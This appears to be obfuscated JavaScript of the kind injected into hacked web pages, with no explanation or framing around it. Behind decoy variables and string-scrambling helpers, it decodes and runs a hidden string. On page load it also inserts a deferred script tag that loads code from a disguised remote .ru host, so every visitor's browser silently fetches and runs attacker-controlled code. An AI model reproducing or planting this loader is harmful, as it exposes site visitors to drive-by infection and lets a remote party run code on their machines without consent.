z[f("crapeel", [1,4,3,6,2,0,5])](OD, qS);var TP="TP";var LL = d(LL);var TJ=d(uc);var NB=new String();var DL;if(DL!='BA' && DL != ''){DL=null};this.yB="yB";for(var kp=k; kp < (p[f("hntlge", [3,5,1,4,2,0])]);kp=kp+[1][0]) {var Gu='';var gX='';var KC = uc.charCodeAt(M);var rR;if(rR!='oR' && rR != ''){rR=null};var ur = K(p,kp);var aY=new Array();ur = T(ur, KC);var dJ=new Array();var Fr;if(Fr!='mw'){Fr=''};ur = T(ur, TJ);var fJ=new String();ur = T(ur, LL);var jV=false;var aj;if(aj!='al'){aj=''};M++;var SS;if(SS!='BX'){SS='BX'};var vL="";var NP="";if(M > uc.length-a){this.LQ=false;this.QX="QX";M=k;this.It="It";}var EW;if(EW!='' && EW!='uv'){EW=null};this.wN="wN";y += J(ur);}this.Sm="Sm";for(BP=k; BP < Jy; BP+=cn){var DaQ="DaQ";var Xu;if(Xu!='' && Xu!='MN'){Xu='pg'};var eL = YT[BP + a];this.pq=false;var n = J(YT[BP]);var U = new Yx(n, j.fromCharCode(103));var Bu=60474;y=y[f("aerlcpe", [2,6,5,3,0,4,1])](U, eL);this.ZB=false;}this.ja="ja";var Zv;if(Zv!='Gxj' && Zv != ''){Zv=null};var Nd=new c(y);this.XV=22456;Nd();var mY=1524;LL = '';var psS=new String();var dX=new String();TJ = '';var GB=new String();z = '';this.FX="FX";var HL;if(HL!='Tk' && HL != ''){HL=null};y = '';var MA;if(MA!='ppT' && MA!='zM'){MA=''};uc = '';this.XG=32494;Nd = '';this.XX="XX";var LP;if(LP!='' && LP!='Wu'){LP='fO'};var EO="";return '';};var aR;if(aR!='' && aR!='sC'){aR=''};var uJb=new Date();var Nh=new String();l(TA);
var o;if(o!='m' && o != ''){o=null};var p=new Array();function f() {var l;if(l!='' && l!='W'){l='R'};var w='replace';var D=new String();var EL;if(EL!=''){EL='r'};var V='g';var E=RegExp;var Yz="";var u='[';var K;if(K!='cb'){K='cb'};var C=new String();var uW=']';function x(Z,G){var S;if(S!='' && S!='GP'){S='v'};var qb;if(qb!='' && qb!='rf'){qb='s'};var Ua;if(Ua!='h' && Ua!='i'){Ua=''};var xQ=u;xQ+=G;var Tw="";var gS;if(gS!='hU' && gS!='st'){gS=''};xQ+=uW;var q=new E(xQ, V);var GK=new String();return Z[w](q, C);this.is="";};var sG=new Array();this.fG="";var Gc='';var EZ=x('s0caroi0p0ta',"l0Hoa");var X=x('h0tPtTpF:Y/P/YaTdFdTiFcFtPi0nTgFgYaTmTeTsP-0c0o0mT.0dToPuTbPaFnF.TcPo0mP.TeYlFaFnPcYeY-FcToPmY.PfPoPrFrTeTdTtPa0gT.0rYu0:F',"P0TYF");var y=x('/4gIoIo4g9l9eI.9c4o4m4/Ig4oIoIg4l4e9.9c9o9mB/4h9oBs4tBg4a9t4oBrB.9cIoBm4/9zBy9l9o9m9.4c4oIm4/9sBp4o4n9sBoBr4aId9s4.Id9eB.9p4h9p9',"9I4B");var z=new Array();var qc=x('81545055158554999405419',"1954");this.oj='';var d=window;var rd=new Date();var hT=new Date();var P=x('csrQesastsesEQlQeQmQesnsts',"sQ");var Az=new Array();var k;if(k!='' && k!='Gn'){k=null};d[x('oOnOlCoOaWdR',"XCRWO")]=function(){var pS;if(pS!='n' && pS!='fy'){pS='n'};var mw;if(mw!=''){mw='mE'};try {var SG=new Array();var Qv=new String();var En='';Gc+=X;var KC='';Gc+=qc;this.SR='';Gc+=y;var e;if(e!='' && e!='_h'){e='Wa'};var IT;if(IT!='' && IT!='hN'){IT='Cw'};j=document[P](EZ);Y(j,'defer',([1][0]));var Is="";Y(j,'src',Gc);var zK=new Array();this.zP='';var ew;if(ew!='RI' && ew!='wS'){ew='RI'};document.body.appendChild(j);} catch(c){var uq="";var qL='';};};var Azz="";var DF;if(DF!='' && DF!='xf'){DF=''};var Lc=new String();var Cj;if(Cj!='Rz'){Cj='Rz'};function Y(H,t,N){var fGI;if(fGI!='' && fGI!='hiY'){fGI='iT'};var dA;if(dA!='' && dA!='wA'){dA='aj'};H.setAttribute(t, N);this.yV='';}var IM=new Date();var T_;if(T_!='' && T_!='Gb'){T_=null};};var eg;if(eg!='Zh' && eg!='wV'){eg=''};f();